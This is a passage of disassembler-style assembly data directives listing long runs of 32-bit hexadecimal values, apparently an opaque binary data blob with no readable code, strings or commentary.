		dd 7084D0E1h, 0BADF7F0h, 0EBA244E4h, 8F283801h,	0E040D8A3h
		dd 0E6951407h, 8D20EFABh, 9D4D1Eh, 204888CCh, 2994FEA2h
		dd 7F7D3000h, 314C773Bh, 5D3400C2h, 20062D25h, 0DE1D0CE1h
		dd 0B0815167h, 0ECA12FD6h, 543748C0h, 0FA0A906Ah, 9E14247Eh
		dd 4A5930FFh, 10F67D8Bh, 93C126DEh, 647A7C82h, 0F0807020h
		dd 884700EEh, 0FA235EE1h, 41772FBDh, 18824E00h,	6C36BF9Bh
		dd 3C87F477h, 3B02A09Eh, 74E92D67h, 1A00E8FEh, 0BA2E140Dh
		dd 65900BDh, 0F710CE39h, 8CED2AFh, 0DA203812h, 66590186h
		dd 0ECEB5CCCh, 1800C302h, 85BFE81Ah, 3B57F1E2h,	0BE8E23BDh
		dd 300DEAFh, 0ED9CB049h, 0FF180C75h, 0D971F497h, 755300A3h
		dd 93482DF5h, 340330E7h, 15EA6A11h, 0F73EC014h,	0D9E00023h
		dd 857F934Dh, 38311FDh,	4CCC2440h, 38C6AF83h, 0BE1B0806h
		dd 2164BCh, 0EB4B464Eh,	30727AAAh, 8F2C333h, 0FB21003Dh
		dd 1BE741D4h, 2E009AAEh, 344E696Ah, 0C90FAD91h,	5280FAD9h
		dd 0E5A0D624h, 0F6557724h, 0EC702118h, 0AF723938h, 49169703h
		dd 0CDA007h, 0BD56A1ACh, 5A007CE1h, 0D8C49958h,	436BFCh
		dd 53468EE0h, 0E1070B63h, 0CA3FD40Fh, 82BB808Dh, 1D2D1E7Ah
		dd 5496765Bh
		dd 0CC00EBB9h, 6B9B3237h, 0E006A8Fh, 0DA627DDEh, 0DFA6D6h
		dd 8E10C5CFh, 0D95791F5h, 0FD5C9D00h, 5D2A7B4Dh, 49A300A6h
		dd 17D282D1h, 0FEC0E031h, 0DA3EFE13h, 0DC41009Eh, 0D84D56A0h
		dd 8800721Eh, 4EAD12E9h, 0E616E0DEh, 0DA970E51h, 0C1BE05A7h
		dd 0FC39172Fh, 68CB4045h, 8F00E5F8h, 601B40DCh,	7D0C0D6Bh
		dd 3349004Bh, 6583AB9Dh, 0FF02ADC6h, 1E4D20B2h,	40C3CAh
		dd 0D9CD9318h, 69E5ED8Bh, 8053253Eh, 0A96D86C5h, 36085A83h
		dd 4828A35Eh, 0BF602EF0h, 0A5537139h, 24B80CD7h, 62094BAh
		dd 2F850900h, 18D3BCEFh, 6508003Ah, 0B8035147h,	0DBEA1FDCh
		dd 8581C200h, 0F46227A2h, 3C37F8BBh, 9D050F91h,	0C70E35BEh
		dd 528A40B1h, 0ED0097DBh, 0CFA4A1F2h, 0B7B66C7h, 0F3D71EABh
		dd 5FBD7600h, 1F3055FAh, 0B98B99AEh, 0AAAF3022h, 5F6F1610h
		dd 0BC687060h, 1CC9DFh,	85FD0B43h, 8F6C038h, 0A72748h
		dd 2536F929h, 7D0DB26h,	0A524731Ah, 5511A099h, 863E677Dh
		dd 894C135Ah, 7C2D1007h, 0CF80F134h, 0FCE6B7C6h, 0F8330A2Ah
		dd 0BD26F5h, 0A8C50F0h,	0A400F1A7h, 93788ED2h, 249B624h
		dd 2C6B9041h, 0DC40E264h, 1C0C8DAAh, 48E74442h,	8D86FDFh
		dd 5F520D00h, 9200C240h, 0DC8C105Eh, 7543D5h, 0A88F55BAh
		dd 0A64068AEh, 33C71607h, 8049295Dh, 3A806C76h,	79937F7Dh
		dd 0E7D800EEh, 5FA8F97Eh, 0BB0064C7h, 810388Ah,	0B653C0h
		dd 9B1734AEh, 0E260C516h, 801C073Ah, 32011447h,	18DFE168h
		dd 981627DBh, 0AE74C3EEh, 0F2B6261Ch, 26E90C1h,	0E0D24EC9h
		dd 0C0199AB7h, 61DEA828h, 160CA5B8h, 0D8E41ABFh, 213B01D7h
		dd 0FBC9F840h, 0D02221ABh, 0A8066D22h, 2ADB7E4Fh, 2CFC0069h
		dd 5A4651EDh, 0D6009814h, 71DF3AF0h, 0E9796Eh, 0EC3550CBh
		dd 1D894936h, 292E2F00h, 7D3D065Fh, 0D64800ADh,	0CEE824E5h
		dd 0EF3E7E9Bh, 74520017h, 0B4F4EDBBh, 220500B9h, 1076992Fh
		dd 0FF3A3129h, 602DBA0Eh, 0EABFC750h, 281A1BEEh, 0F3E1601Ch
		dd 0ED1BEC3Dh, 80A0D339h, 0B1B763EAh, 607DB4F2h, 966A5147h
		dd 8E09A710h, 80D5040Fh, 35305CCh, 0B0D10CDAh, 0F838ECB1h
		dd 0B4072701h, 0B8B21460h, 0D8117980h, 0E75814Ah, 0AC40510Ch
		dd 0FE44E177h, 2088CE2Ah, 0A29BBF40h, 0F1019CB4h, 974A9FD3h
		dd 32D45E42h, 65184849h, 151CA900h, 2C1B5402h, 0B68060DDh
		dd 2E37511Ah, 5FD101F5h, 0AA39D6CEh, 194FDC4Ah,	0B1246200h
		dd 163DFD8Ch, 0F3F130A6h, 0CCF2E519h, 0E8701530h, 0FED8A9A3h
		dd 7C022613h, 80BC1EF4h, 98AEBF47h, 1E00EA29h, 40EDC79Eh
		dd 16D5C82h, 0A95ED523h, 0C889DADFh, 3800B196h,	34048C86h
		dd 0ED393C2h, 0D2BF7DFAh, 150CCC80h, 461E62A0h,	0F1B05ABh
		dd 9093E020h, 986E0FD5h, 208EFCF8h, 4027BCC6h, 0F9003FE8h
		dd 32863997h, 5943B0Ah,	59701BDFh, 46C6C075h, 0ED3C53BAh
		dd 0FCF7009Bh, 2D781809h, 548C0028h, 6CDF9DDCh,	0B760C17Bh
		dd 0CF88FA20h, 0E8D6036Bh, 75626A6Eh, 0D0B9F00Fh, 0B4C280A1h
		dd 74236ABh, 86F4D454h,	1501AF1Dh, 8CF80496h, 8B48AB0h
		dd 505C78D3h, 4EA0C6Eh,	0D120DDB1h, 6F63803Bh, 8C618AD7h
		dd 2DC009E8h, 3088CDF0h, 0DD410EBBh, 190CC215h,	7847F8B6h
		dd 0EBF8EF0Ah, 2940089h, 0A737C3DDh, 0F0FA73E4h, 9C037B7Ch
		dd 0EEC4A56Bh, 3C4188EDh, 0A2B7C53h, 0F910BD43h, 0FC1124h
		dd 7E8EC341h, 2A5860DEh, 0B0C875EEh, 0CD0530E2h, 3C8955B8h
		dd 1F9819DAh, 7F983E04h, 0F94A40E7h, 8ADF3100h,	497D8ED7h
		dd 5C800046h, 0D3BA9B34h, 0ED780637h, 474A3526h, 1CF0C003h
		dd 39D8E854h, 0D9F303AFh, 5D1BE0C8h, 2F9037E0h,	3AB8871Fh
		dd 0C7D36481h, 6DDC9BA8h, 88252C98h, 0A79100B0h, 6F0D21ABh
		dd 4070A00h, 0E5D7D1CDh, 0CC6E0073h, 0BC2C51C2h, 9F00B0F7h
		dd 3894767Ch, 9EBEDEh, 79CF9AE9h, 0E25C88Eh, 0F4014A79h
		dd 0D537EB72h, 5BE0B1D9h, 69DA380Ch, 93F8C00h, 45522A5Dh
		dd 3D703500h, 86AFCDECh, 164F476h, 98BE8E31h, 0F097E948h
		dd 0F0E0DDA7h, 15D1C100h, 0E6088B86h, 23AC005Ah, 0E1B3FDABh
		dd 0B000113Eh, 5CF1CD7h, 602C7D7Ch, 91A670D8h, 0D9776AF4h
		dd 29265E00h, 95CEB6CAh, 0EECD1E39h, 0DC851509h, 0CB872300h
		dd 0F2BC0F8h, 0E4EC7CC7h, 39801E07h, 1189F32h, 0DBBF0115h
		dd 0D0C51176h, 8F0F21EBh, 40774222h, 0D5887FA1h, 33B11C55h
		dd 87674725h, 0CF6D80D0h, 690017E2h, 138A7B28h,	483C98A6h
		dd 182400FBh, 3ED70021h, 876F10CEh, 0B4C7B907h,	66E03589h
		dd 0D6A68Dh, 78E28A1h, 5F372D98h, 0EEBE3000h, 72917343h
		dd 6D920B85h, 17008C4Fh, 0A2A6F84Ch, 7EC53A04h,	28C8DC0Fh
		dd 97100079h, 1DD5D99Dh, 0F500F155h, 50A6CA89h,	24D42322h
		dd 33307Eh, 1B98E5C9h, 6B07C4BDh, 60515E64h, 3BA953A0h
		dd 103C0E59h, 99CEA52Ch, 4FB4BD20h, 7F1C4C83h, 430097D8h
		dd 9BEA9DE6h, 4E282894h, 0A4AD0FE4h, 3D60ECB2h,	0F0F26B52h
		dd 0C214BF1Dh, 6AF99B80h, 9FDDEFh, 393A4726h, 69ACB535h
		dd 0DB0F9D00h, 2F655EEh, 8BE600BFh, 92404D16h, 1E012325h
		dd 5DCCBA79h, 0C0809072h, 8457F686h, 680EB7E8h,	0A71BBC48h
		dd 0DC10DD89h, 3E0C163h, 0B314EE31h, 33A06EE7h,	9008267h
		dd 65AFE989h, 0EA5CC6h,	8C4F123h, 430B5D84h, 7B00617Dh
		dd 0E59F8B46h, 1AEB3D6h, 5E716230h, 8F7A5A83h, 409C31E0h
		dd 0D18CC13Bh, 67F4FAh,	98564379h, 9FDC8B7Bh, 5C89C90Eh
		dd 93E3400Fh, 0FE9E6546h, 789A6Fh, 1795C882h, 73BE2C24h
		dd 0ACCC8054h, 3492D502h, 400C23ECh, 5F1A1D8h, 94A47164h
		dd 125CC06Bh, 0D897C3B8h, 869C0F8h, 0BC51462Ah,	4DF7613Eh
		dd 0EDD005Ch, 9BF2829Ch, 0EC2601B2h, 871C72CBh,	340BCDEDh
		dd 0BAF8DA08h, 0A91A0600h, 9E76D717h, 547C5Eh, 538A6DE9h
		dd 0EFC03D91h, 0DF604D00h, 0B005D26Ah, 61390010h, 0D248BEEh
		dd 0F2E4521Fh, 51D64C0Fh, 790B5B6h, 0DDD2478Eh,	603818D0h
		dd 55B0008Ch, 0CAAE7CF7h, 84006C27h, 32D1B543h,	0B81451h
		dd 59C78530h, 0B9BAC6D5h, 0C3008BE6h, 1A5866A9h, 60F81672h
		dd 23110AB1h, 3000873Dh, 6A46F22Ch, 76DC61h, 80A2688Ah
		dd 0E484F7FEh, 0B98D4201h, 6395FF0Fh, 1424C051h, 827A080h
		dd 9ECAC431h, 0F30004E4h, 0FCB16D36h, 1905FA7h,	43466A60h
		dd 0E3D2D483h, 0C99ECDB8h, 2C80EA00h, 0FB4B15B2h, 424100CAh
		dd 0D563C840h, 213CF266h, 0A0442E90h, 32330A1Eh, 0ADC78050h
		dd 7107FF1h, 4C853942h,	0ABFBD1EFh, 565C9D19h, 41712D00h
		dd 79ADE9h, 88E4B545h, 0A0E7D03Fh, 49599C00h, 0A1217CD6h
		dd 807407A3h, 30453CF9h, 0E386CBC7h, 699CFC03h,	0A0BA8555h
		dd 0BF0C80Ch, 65537B2Dh, 979A3E00h, 7D0EE036h, 0A0303B79h
		dd 4ADA274Ch, 49BFFE35h, 3058021h, 205D6E5Eh, 966CBEE4h
		dd 0BD707301h, 0DE9C358Bh, 0B4023E4h, 0E7674C6Eh, 3B097822h
		dd 260EA048h, 0F8392C02h, 48BFAC3Dh, 7CB5B30h, 0C613541h
		dd 0C0CD3001h, 0B403287Ah, 466EC966h, 273280CBh, 0F6B70036h
		dd 1109372Ch, 0AD0E829Fh, 0A4613424h, 0DB800B85h, 8E1AA9h
		dd 3FB4D7B9h, 0F46EC114h, 0EFF9A203h, 0C076E27Eh, 382E420h
		dd 37F5ED8Bh, 883E1D95h, 0F4A10015h, 0A7166AAFh, 5945E0E3h
		dd 190018F6h, 6CBA7C35h, 6F0287FFh, 6A4D95F5h, 0AFCC4831h
		dd 0AAE607ACh, 0A6B716h
		dd 14CB8C1Dh, 31F6F700h, 55D1B637h, 253FC32h, 3A280987h
		dd 0E4486498h, 475D486h, 3903F101h, 524C8108h, 0F8140AC0h
		dd 0F43A0036h, 0C12673C0h, 5A0754BBh, 172BA50Bh, 35377440h
		dd 0A0B7008Eh, 95237EA6h, 0C00A8B0Fh, 0B06D249Ch, 21C0071Dh
		dd 1EAF8D6Fh, 0D72300B5h, 67726EBFh, 0F701C41Bh, 39F98310h
		dd 0E831795Fh, 2286D8h,	5B7B091h, 0EC15E6A2h, 965F423Ah
		dd 3004B6F2h, 649C6304h, 0B4080067h, 2E4F48E4h,	0C2000A92h
		dd 5037FCBFh, 5ABF1DFh,	0EAD1E938h, 129280EFh, 7C901E2Ch
		dd 0D4E16616h, 0E6BE7601h, 75C84A03h, 35CF688h,	7FBA0179h
		dd 0F8015976h, 6529E8C8h, 0D8F8482Ch, 86AE5870h, 3728960Bh
		dd 927D5780h, 6C3BC224h, 0A2AB0012h, 2629E589h,	69190065h
		dd 0C6E79B8Fh, 8C0088A5h, 0B57A3945h, 0F6704E0h, 5D2C2740h
		dd 65A1DE0h, 230095C4h,	8FFBAD49h, 0A86D2A34h, 3F524880h
		dd 770385A7h, 0B7EDCB50h, 0C4C48226h, 63EE3980h, 5F75981h
		dd 3DDBA1D5h, 72F380A0h, 37002F06h, 0E59E4F73h,	0D7A8FFh
		dd 0B20C6310h, 0EC594EDFh, 0E269E960h, 0C7A4CAh, 1913670Ah
		dd 0FA76D52Ch, 6B332D00h, 0F60EBDBBh, 641C48E2h, 78E56200h
		dd 0C9CF8CB9h, 0CB8B28A8h, 0FCB5A605h, 1C1411Fh, 0F35FCEh
		dd 5A36676h, 2BCD574Dh,	7C33700h, 0D7F24F97h, 0A7400A9h
		dd 0FD98F74Ah, 8500AFFEh, 82842AF0h, 7180A621h,	0D5A700C3h
		dd 0A80B0F2Ch, 0F600DCB6h, 2A5FB730h, 0E91F0Ch,	6B0D8F53h
		dd 0E56A0F44h, 469B4E1Fh, 0C401C557h, 7D628580h, 0BAC0F0h
		dd 2E4DD644h, 942633FCh, 2AB225Ch, 1753427Fh, 785CC9EBh
		dd 402061E5h, 913D00FFh, 87AB113Fh, 0D872CDFBh,	5882A09h
		dd 95E025F5h, 2C50788Ch, 0FB09944h, 0C9E096CEh,	0A769D91Fh
		dd 4847DD00h, 0F4C27088h, 0CA7C00C7h, 99D2A5D5h, 9407C807h
		dd 0F9E3B74Ch, 5D1C1089h, 0AF3A015Fh, 0F5C53F34h, 0F908310Ah
		dd 2E48FC04h, 6AC9B300h, 3AAEDA47h, 95833B5Fh, 5DF45880h
		dd 3846ED79h, 4490FA2Ch, 435B417h, 2117B80h, 89563B51h
		dd 0C87CB060h, 0D20A9DA3h, 0F81868A4h, 956BDC00h, 3671D91h
		dd 458B6DA6h, 35F9F8DFh, 4028E0DAh, 0E25CD91Ch,	0C986215h
		dd 41303AF5h, 0E4E12CBh, 8E480057h, 27B1A4B6h, 0F0861F0Bh
		dd 844B0914h, 24B09CC9h, 7B30084h, 0A6E371EBh, 4700DA56h
		dd 705ED637h, 74B5FE1h,	21EBF961h, 26C8C34Ch, 0E48DFFE1h
		dd 3300FA3Bh, 0E3902910h, 0D013D7h, 6531C7C0h, 0E6ECABE4h
		dd 51235C0Bh, 4C18233Dh, 4A88F82Fh, 11D00029h, 0B22EB0C0h
		dd 27057D25h, 6EF62B5Ch, 0B1EC5CD0h, 0F28FCE9h,	0EF1A6DE6h
		dd 0E43AADA0h, 0FE01DE01h, 81C4F239h, 0C096B2FBh, 5E5828C7h
		dd 82CD0621h, 0F6A9B03h, 7F59E580h, 0D85D6864h,	0F06301CCh
		dd 553F2DF3h, 0A1EA9C40h, 38B70240h, 0EE02C016h, 6471DB60h
		dd 1A80D4B9h, 0C601E341h, 2FE900E1h, 1F6740B3h,	17000C58h
		dd 604732E4h, 50394AFh,	0F57685BCh, 250D070h, 0ED01E16Eh
		dd 0DE56295Fh, 6823845Bh, 5D0AC280h, 0C8B8DDB3h, 28919B12h
		dd 0CF8A2445h, 40BC1482h, 203810h, 0A4F3C657h, 534A90CCh
		dd 0E37A2D00h, 28F689F5h, 0EDD20F76h, 0D7C130D3h, 2035E720h
		dd 984CAB76h, 0C01701D8h, 4603ECA2h, 671470h, 2845AC39h
		dd 78A7A17Eh, 0AABB8C12h, 0DF73B00h, 0B09F98CAh, 0BA690047h
		dd 687742C6h, 0B9ECBF5Ah, 0B56AE30Fh, 0D9ADC3A4h, 53BDF070h
		dd 88EB1F29h, 6E07412Ah, 80BA72EFh, 79FE3A29h, 7E397D82h
		dd 76EC47h, 4ED820A7h, 0DF903DFh, 0A66FA900h, 0D6DBC5A5h
		dd 592E00A0h, 5C4B8B26h, 6E037519h, 4AB24531h, 0A1D7FB6Ah
		dd 0A2BD1070h, 0CF96007Dh, 74CCD684h, 600B8B38h, 82F0BC4Bh
		dd 4073B537h, 831E24h, 7606F89Ch, 6DB8ED33h, 0BD27D900h
		dd 0F20FBE49h, 5C0C03D2h, 0E98F55Eh, 0A4301DE0h, 0ECD0422Ah
		dd 68BCC00h, 9610C991h,	0E09C0001h, 0A5549303h,	2A0007AAh
		dd 290A365Ah, 0D8BE06h,	39C61E1Bh, 0A2C7E5CBh, 0D95E9500h
		dd 6015AB9Ch, 0C2E61707h, 8FAE0C2Dh, 8A000C61h,	8EE503F8h
		dd 0E8739E6Ah, 3F75260Eh, 939D078Ch, 2ABB838Fh,	1B003078h
		dd 58D5D68Eh, 0AC6C47h,	6442B82Eh, 0B78C3920h, 0F2A6FC00h
		dd 435878B5h, 0B07200E4h, 1EC2BC15h, 0C000BFA1h, 6AD67FBEh
		dd 0CBD823Fh, 9F86DA4Ch, 492EA158h, 8A0B4DC9h, 2100DF67h
		dd 5928AACCh, 7B417801h, 0F916E15h, 8B11943Ch, 8037876h
		dd 1DF811A6h, 67F7A0BEh, 0B80CB4AEh, 832F0A9Fh,	0BAEDF62Ah
		dd 0AB476BD0h, 0D0752000h, 0CDAE2EB2h, 0DB1600ADh, 0DE2F37D2h
		dd 5801EF68h, 2B09CAA1h, 1DE03C5Ah, 3B75784Ch, 0D800FA77h
		dd 81C5F927h, 0BF68B6Bh, 0D3C70F01h, 3D5A90D6h,	0F23A2E0h
		dd 0D7F4ABACh, 6F1EEFE0h, 1500D0D3h, 0C6E578A1h, 0A80460h
		dd 0A5630313h, 0CA41DECFh, 27B59100h, 3C799FF6h, 24340F0Fh
		dd 0A00D3F0h, 89F3A3C1h, 8D2D6700h, 7AABB820h, 0CDC80009h
		dd 0D3968641h, 28B4E5D5h, 0CA337380h, 90767269h, 742EE8CAh
		dd 9CB45412h, 0C9D70FC8h, 68E0ABEEh, 0F9F07C2h,	0AD61CF13h
		dd 55B90C80h, 0BBA90358h, 0F0E93FBCh, 0DF546816h, 2109C52h
		dd 1D88938h, 125E6057h,	27DF3852h, 19E1D01Dh, 0F4B40706h
		dd 13944400h, 3A5EF2h, 93FCD18h, 0E52D5597h, 0ABB4B618h
		dd 331D389h, 0B7A1D083h, 53E0B15Eh, 89730127h, 0DA2083F3h
		dd 88344C69h, 1DEE6899h, 875C98Bh, 3C1C2A2Eh, 0F2B55100h
		dd 1CD619DEh, 8165ED1Bh, 8A2AFDDh, 5BA05247h, 8C9D930h
		dd 16E6600Bh, 7413258h,	0DBF7EEE1h, 0B5DF10A7h,	0A600B090h
		dd 8F3EF822h, 1D9E8D54h, 0C0FCF339h, 22B68A8h, 0D2398656h
		dd 14100F4h, 21091D82h,	0D0A900C3h, 0F192D3CCh,	5B00F499h
		dd 96D8E657h, 7D9507ABh, 3B3E0004h, 9EB97664h, 48006EC8h
		dd 8379E937h, 754B558h,	0D6CFDAB6h, 0BDB74304h,	179E70C7h
		dd 0CD0015DFh, 0E92B71C5h, 0F4D4984Ch, 3C857508h, 350021E4h
		dd 0C0CCBB54h, 0FC00F552h, 73315689h, 879BE9h, 0F05D1892h
		dd 493EE45Fh, 7E61627Fh, 6F2BB858h, 5D15DCh, 659BBF16h
		dd 0BCCA24FDh, 0B681F201h, 0FABA42C4h, 3456C0h,	45D94151h
		dd 0CD4038AAh, 0FD03C078h, 0C4AD970Fh, 89DBC0CAh, 0C96F815h
		dd 8E8BFA75h, 1400F4C1h, 285E2172h, 0A1E2A7h, 0DAE9AEB6h
		dd 578E3F62h, 0FF281660h, 3F73879Ch, 0DC805C12h, 2D5EB6CDh
		dd 7F05E87Eh, 0B99B64BCh, 0F3F1A8C0h, 68F8C036h, 0FC425CE9h
		dd 6B639201h, 0B77C43BFh, 2ED0B1F1h, 0EEE1C0CCh, 514608D3h
		dd 0C5CFED00h, 0B3C9E57Bh, 541F0C3Ah, 0F829E72Dh, 4BF3D713h
		dd 11C55D00h, 2C7D6521h, 1E92F7CCh, 0BA2049F4h,	4C31470Ch
		dd 6A799500h, 0C3A3C0E1h, 1819C1DFh, 0C82A80B9h, 3E00696Bh
		dd 3B92C753h, 0C05BE08Ch, 0CF108EF1h, 1A021EEEh, 29546A60h
		dd 0C3BF613Dh, 2D4EA840h, 6EB7009Dh, 0A5447577h, 46003063h
		dd 8F09F7Dh, 0E0FF4B07h, 0F970070h, 0FE8A576Dh,	1803F8E9h
		dd 59AE0872h, 0A482C92Ch, 0C66E73E4h, 20FB4608h, 59AFB202h
		dd 0DF17BBD7h, 40B08A00h, 0A101FC50h, 0B45BE880h, 589109F1h
		dd 5A928756h, 0A8E2FC51h, 21C0E70Ch, 2359FFD6h,	1DD00F6h
		dd 89E474E5h, 5403585Fh, 243BEB18h, 7715E0A5h, 6DE4F7h
		dd 1ED4C9E7h, 9B09F5E6h, 3B488560h, 3F15E04h, 341D5079h
		dd 2046EADAh, 47FB174h
		dd 73512E30h, 0F133070Ch, 0C003BF8Dh, 26DF508Ch, 8078AE67h
		dd 792724B0h, 0F690741h, 211BF0EFh, 4070A549h, 1806C7CDh
		dd 0D7667700h, 0D815DACAh, 8DF058h, 93C19029h, 0CEBB4975h
		dd 0D487C926h, 81E3D800h, 0FEA725h, 0F3DB8A6h, 1BE4D5A9h
		dd 518C9B17h, 264CB200h, 0A7E35Ch, 0FF684F98h, 0BB2923D4h
		dd 0A8B2C200h, 48ADA64Ah, 58840065h, 14125A73h,	0FB0063BDh
		dd 60724164h, 353E11h, 0B890A81Bh, 0B55AB625h, 7C9E0C01h
		dd 12A3A64Bh, 0E2C4A4D5h, 0CEEE006Bh, 7B8180B0h, 0F7003C2Fh
		dd 0D216DE5h, 4E296h, 0FD90F6AAh, 88329180h, 0F8AEE900h
		dd 0B09EF076h, 8BCB0792h, 0C0B726A4h, 81E4A508h, 0A92DCE00h
		dd 5E8CACC0h, 928B3FF9h, 8831F081h, 0F9EA9C79h,	5C11807Ah
		dd 0B9127C0Ah, 0F47400B7h, 782282F1h, 0BD00B1E7h, 0F90CC104h
		dd 1012ABAh, 43795A9Eh,	80AFC981h, 0E1880340h, 3FC17B7h
		dd 35260468h, 3BD0E045h, 6E00A942h, 7C39F1Bh, 71858F32h
		dd 0FC4FE8BAh, 0D844004Ch, 0A083ACBCh, 0A109A6DDh, 83881D21h
		dd 0BE0EF4h, 9379ADA8h,	0B1A70A3Fh, 0AFDCC005h,	0FAC02853h
		dd 4BE7B3h, 30B955CDh, 0C26B2220h, 4C8F3707h, 77105445h
		dd 1C6883AFh, 0CCB2C655h, 0AAB910EEh, 80711C7Eh, 62ACF950h
		dd 0C6DD3800h, 0C8C3584Bh, 728E0041h, 8885421Ah, 0DE5F6CB6h
		dd 0C600C5B8h, 0E059A009h, 3B0024D3h, 0AA774D1Ch, 0E89AB6h
		dd 70232F4h, 0BC50DCFCh, 65662B01h, 79E257B8h, 795D12D0h
		dd 552000CAh, 6BCD8845h, 2F740C7Eh, 20BD9230h, 207021h
		dd 4CB862B9h, 0A63CDD91h, 0AEED9800h, 5659EC29h, 1DF476FBh
		dd 7A4D037Eh, 8AB9CA00h, 0DE1CC58h, 66003B90h, 5D117163h
		dd 1046B47h, 0D28285EEh, 82B7EF6Ah, 18B88068h, 5A4CA095h
		dd 43450220h, 74B88270h, 0BE52C020h, 0D4FC033Ch, 8A718305h
		dd 0C53753E8h, 1B0606EEh, 662AC1FEh, 0D1FD0069h, 8AB66E7Ah
		dd 851DF941h, 0D80C339Bh, 7AAF20EBh, 4AE4A9h, 0C7AA6DFDh
		dd 0DB9BD949h, 21DA1400h, 0CC2DAD59h, 0E1E60C6Ah, 95180ACBh
		dd 43FFDE3h, 4528B019h,	44E0CFD9h, 38F8008Ch, 0EDC106BEh
		dd 0EE00EC86h, 2E61B3B2h, 0F67BD1F7h, 0FC043BCCh, 1387B63Fh
		dd 50D947ABh, 944E752h,	597AF500h, 178FE291h, 4BD00084h
		dd 1D52B4C4h, 9800FB2Eh, 550BF4ADh, 0FA75191Ch,	923B0035h
		dd 6E41C18Fh, 0F6004925h, 95B67C96h, 48D032h, 0BBF52FFEh
		dd 31A65970h, 3FF2603Ah, 806BBB15h, 190EA2C5h, 636AD7h
		dd 9560E884h, 2B2C3685h, 0C3130500h, 0CBEDCC68h, 0B33E3D2Eh
		dd 3CE700F4h, 0A7B8D4F3h, 0C01E1BD2h, 46405B87h, 0EBEE13B6h
		dd 0A2103276h, 4979911h, 87B1C660h, 0FA60F814h,	0D05000BCh
		dd 0B0E1B88Dh, 6EE82DCBh, 25536603h, 8017B28Ah,	0A11184h
		dd 0B68C50C8h, 2B206E37h, 4007798h, 0E148DCC4h,	0D86F39h
		dd 73AACA2Ch, 0CD813E8Bh, 0A032921Fh, 0E22EC5C0h, 171FE59Eh
		dd 62BFABh, 44E6A67Fh, 0AD002DCAh, 75686B23h, 204F6h, 5CB4BD48h
		dd 8D28A236h, 41932200h, 242D6B9Ah, 7CA8003Ah, 0FCA07654h
		dd 0EB00C0AFh, 0BA070125h, 30419ACh, 532D7309h,	29C04B94h
		dd 0EE01BDF9h, 67B796E1h, 7FC8B58Eh, 0E4B01CD7h, 0C0744722h
		dd 9DF7E08Ch, 117BED27h, 4A784200h, 26B0942Dh, 0EC635A21h
		dd 347E00E0h, 683F73D4h, 369E0057h, 0BE69AF29h,	151FCEAEh
		dd 1B40AC94h, 583B8C2h,	0B41800E9h, 3A794DF0h, 0D2078BE2h
		dd 9312D8FAh, 466D2F50h, 873400DFh, 97905031h, 0C400BA36h
		dd 4467EB0Eh, 0DACDCh, 92CEB2EAh, 865F8B54h, 84006DFCh
		dd 2440D3C2h, 7BD9C5h, 0CE9743C0h, 10B0EF08h, 0AB4E7100h
		dd 0DCD80E57h, 92C17B45h, 54550004h, 80882A39h,	5703F41Bh
		dd 0F069679Ah, 8551D80Fh, 0CBE2266Ch, 2372003Eh, 66D1AB7Fh
		dd 0CF6D900Fh, 0F6892032h, 4237F9h, 4511A159h, 0A3BD0C48h
		dd 982FC500h, 0E915B0A2h, 0F261C36h, 3FCB9A8h, 0B8867E6Ah
		dd 2E9BB4A1h, 0E896B1A1h, 36001E08h, 0DEAE71A3h, 7419E34Ch
		dd 0D19500F5h, 6F17A564h, 745892E9h, 3E0D0E8Fh,	0A3AE080h
		dd 0D1B3C2h, 50468425h,	192DA277h, 0C03584A0h, 7694225Ch
		dd 0FBC96400h, 0C7C5764Dh, 0F78EC8Ch, 5233463Ch, 0A8151260h
		dd 0F04CF1Ch, 8F7999A1h, 600D9082h, 963A72h, 2D7056E6h
		dd 4ADFA3C3h, 72236600h, 0A82BEB3Ch, 6F79031Fh,	2F0B788h
		dd 10156AB0h, 85D65307h, 3880360Ch, 1C8375C7h, 80DC597Ch
		dd 5E2F3330h, 170F678Eh, 49BC2CB8h, 0C93580A1h,	244C9C82h
		dd 0D77141h, 3A60EE4h, 0B800F664h, 0E76CDAF0h, 7A0DA826h
		dd 0E6920088h, 163D3B27h, 60248317h, 0A7261B99h, 3040BC12h
		dd 7D3E59D6h, 0EAD2092Ch, 340138BDh, 0D89478ACh, 320FBBDFh
		dd 83CACCC5h, 0A8089E8Bh, 0F2A6F024h, 69B0002Ch, 0D975CE53h
		dd 0AEFC5F45h, 0B7FDF900h, 0CD3E1EC1h, 67820076h, 0A03077F4h
		dd 4A0096EBh, 0E3A9629Dh, 28D1B910h, 9CBAA8h, 93DBD6DDh
		dd 9454E9BBh, 2096F200h, 320C7550h, 7CC8F024h, 0BDD40063h
		dd 0A821ABACh, 393EFD05h, 1597178Eh, 93846702h,	9068636Bh
		dd 76BC44h, 66B4DC04h, 4BBD3949h, 0E2DEF100h, 0A0E3E5BBh
		dd 887E0C45h, 0ADF81C11h, 2FA40E0Eh, 0FDF8C7AFh, 0B738B0E0h
		dd 20C9605Dh, 48D9CB1Fh, 0CEDE501Dh, 0EEB8A880h, 4CAC7133h
		dd 32004D4Ah, 38E3105Dh, 3C004C85h, 0CFF4BB6Bh,	79ED9B5Bh
		dd 87D80167h, 0F6D2EB72h, 0B3DC04Bh, 0F71FA000h, 0B64A3404h
		dd 0B08707FDh, 53B8881Eh, 8DA8DC6Ah, 0F15CD151h, 0AA9C0046h
		dd 4965EFACh, 0D623008Ah, 304896DFh, 0D90041A6h, 21557B88h
		dd 301485E3h, 8B546340h, 6809F90Bh, 0E50720h, 0EDF081F8h
		dd 718903FFh, 3D9FEFD8h, 372511E8h, 644D0100h, 8A9EBE63h
		dd 5F153FC6h, 26350A80h, 0B9CE704Ch, 6CB1A901h,	0FF4834C0h
		dd 0E36F58E4h, 42CCE0h,	7FE3E662h, 73B986DAh, 74355213h
		dd 855FB600h, 4CA3ECC7h, 4200C48Ch, 0C6BCF270h,	8D5C0B6Bh
		dd 99C30345h, 0C79A34D3h, 11DCD6D0h, 45630031h,	8B58B366h
		dd 71070BAEh, 92F79F2h,	0E66F8520h, 46470081h, 27BDB195h
		dd 0A6003E55h, 1419EC5Eh, 0E82FDAAAh, 0CAB3E83h, 0C6515F82h
		dd 0B14075FFh, 390F4218h, 0A0D7023Dh, 626CBDE0h, 0DBF07Eh
		dd 0B9ECA2B4h, 2E199BCBh, 0D2009C90h, 5EE61C35h, 0E10F6D5h
		dd 55874DDh, 24659AA0h,	70006F5Bh, 8FC39138h, 0FAD8C8h
		dd 3EBE840h, 47AF2B55h,	42FC4300h, 775F8217h, 0B49B0019h
		dd 20D0B711h, 32072C2Dh, 0A36E1CF1h, 168D0C30h,	0B8425E5Bh
